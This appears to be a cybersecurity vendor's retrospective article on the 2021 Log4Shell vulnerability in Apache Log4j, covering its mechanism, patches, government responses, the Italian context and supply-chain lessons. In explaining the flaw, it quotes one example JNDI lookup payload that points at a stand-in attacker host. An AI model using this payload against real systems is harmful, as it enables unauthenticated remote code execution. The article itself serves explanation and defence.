CyberScan
Vulnerability assessment and automated pentest. Continuous asset discovery, AI risk prioritisation, integrated NIS2 compliance manager.
Discover CyberScan →
DataGovern
Integrated compliance platform GDPR + NIS2 + EU AI Act. Cross-Regulation Gap analysis, board-ready dashboard, on-premise.
Discover DataGovern →
Cyber Security
CISO-as-a-service consulting: posture, remediation roadmap, ongoing support.
Discover →9 December 2021
On 9 December 2021 the Apache Software Foundation releases a public advisory for CVE-2021-44228 — a critical vulnerability in Apache Log4j 2.x, a Java logging library used ubiquitously. The vulnerability — nicknamed Log4Shell — was discovered by Chen Zhaojun of the Alibaba Cloud Security team and responsibly reported.
CVSS v3: 10.0 (maximum). Impact: unauthenticated Remote Code Execution (RCE) via a simple input string.
The mechanism: Log4j 2.x interpreted ${jndi:ldap://attacker.com/a} expressions in log messages as JNDI lookups (Java Naming and Directory Interface), downloading and executing Java code from arbitrary LDAP servers. An attacker could, by inserting the string in any field that ended up in a log (User-Agent, HTTP header, form field), gain code execution on the server.
Why it was huge
Log4Shell hit simultaneously:
- Ubiquity of Log4j — library used in tens of thousands of Java enterprise applications (banks, telco, public services, SaaS, video games — Minecraft server and client were among the first affected)
- Trivial trigger — no privileges, no authentication, just insert a string
- Immediate exploitability — public proofs-of-concept within hours
- Deep supply chain — Log4j is a dependency of dependencies; many applications did not know they used it
- Mass scanning — in the next 48 hours generalised scans over the internet detect millions of vulnerable systems
- Active exploitation — exploitation documented by threat actors of all levels (criminals, APT, botnets)
The response
Apache Log4j releases patches in rapid sequence:
- 2.15.0 (9 December) — disables JNDI lookup by default, but still exploitable in some configurations
- 2.16.0 (13 December) — fully removes message lookup functionality
- 2.17.0 (17 December) — fixes CVE-2021-45105 (DoS via recursive lookup)
- 2.17.1 (28 December) — fixes CVE-2021-44832 (residual RCE)
Global SOCs work full time to identify vulnerable systems and patch them. Partial mitigations (set log4j2.formatMsgNoLookups=true, remove the JndiLookup class from the JAR) are distributed while patching proceeds.
Role of agencies and governments
Institutional response is rapid and coordinated:
- CISA (USA) — Emergency Directive 22-02 (17 December 2021): mandatory immediate patching for federal agencies with reporting
- NCSC-UK — national advisory
- ANSSI (France), BSI (Germany), CCN-CERT (Spain) — advisories
- ACN (Italian National Cybersecurity Agency, operational since August 2021) — alerts and operational guidance
- ENISA — European coordination
The scale of institutional response reflects the real severity.
The structural message
Log4Shell is not “just” a vulnerability: it is the synthetic symptom of a series of structural problems in the open source ecosystem:
Dependence on volunteer maintainers
Log4j is maintained by three main volunteers. This is not an exception: it is the typical pattern of core open source libraries used by the whole industry but sustained by small, inadequately funded teams. The xkcd 2347 report (“Dependency”) had already popularised the meme; Log4Shell made it palpable reality.
SBOM — Software Bill of Materials
Many organisations did not know if they used Log4j. A complete and up-to-date dependency inventory was missing. The idea of SBOM (standardised in SPDX and CycloneDX) becomes absolute priority. US Executive Order 14028 (May 2021) had already introduced SBOM as a requirement for federal software; Log4Shell enormously accelerates adoption.
Supply chain security
Log4Shell shows that a bug in one library can impact half the internet. Google’s Supply-chain Levels for Software Artifacts (SLSA) programmes, Sigstore for artefact signing, OpenSSF Scorecard for evaluating OSS security practices become mainstream.
Scanning tools mature
Software Composition Analysis (SCA) becomes standard in CI/CD pipelines:
- Dependabot (GitHub)
- Snyk
- OWASP Dependency-Check
- Trivy (Aqua Security)
- Grype (Anchore)
- Syft for SBOM generation
In the Italian context
Italian response:
- ACN — coordination with CSIRT Italia, alerts to critical infrastructure
- Banks, telco, central PA — emergency patching within 72 hours
- SMEs — many struggling to identify Log4j in dependencies; Italian MSP support services activate
- Subsequent audits — discovery of many legacy systems with Log4j 1.x (EOL 2015, not officially vulnerable but with other CVEs)
Italy’s Log4Shell experience subsequently informs the national cybersecurity strategy 2022-2026 and the preparation for NIS2 (European directive December 2022, transposed in Italy with Legislative Decree 138/2024).
What remains
Log4Shell is a point of no return. In the following years:
- Mandatory SBOM in many US federal contexts and via NIS2 in Europe
- Supply chain security as a growing cyber domain
- Funding of volunteer-maintained libraries — initiatives like Alpha-Omega (OpenSSF, 2022), GitHub Sponsors sponsorship, corporate programmes
- SCA as a standard CI/CD component
- Coordinated incident response among national agencies on global events
9 December 2021 made visible to all — not only to CISOs — the fragility of shared software infrastructure and the urgency of investment in open source ecosystem security that industry had taken for granted for decades.
References: CVE-2021-44228 (Log4Shell), 9 December 2021. Apache Log4j 2.x. Chen Zhaojun (Alibaba Cloud Security Team) as reporter. CVSS v3: 10.0. CISA Emergency Directive 22-02. ACN Italy. US Executive Order 14028 (May 2021). SBOM (SPDX, CycloneDX). SLSA, Sigstore, OpenSSF.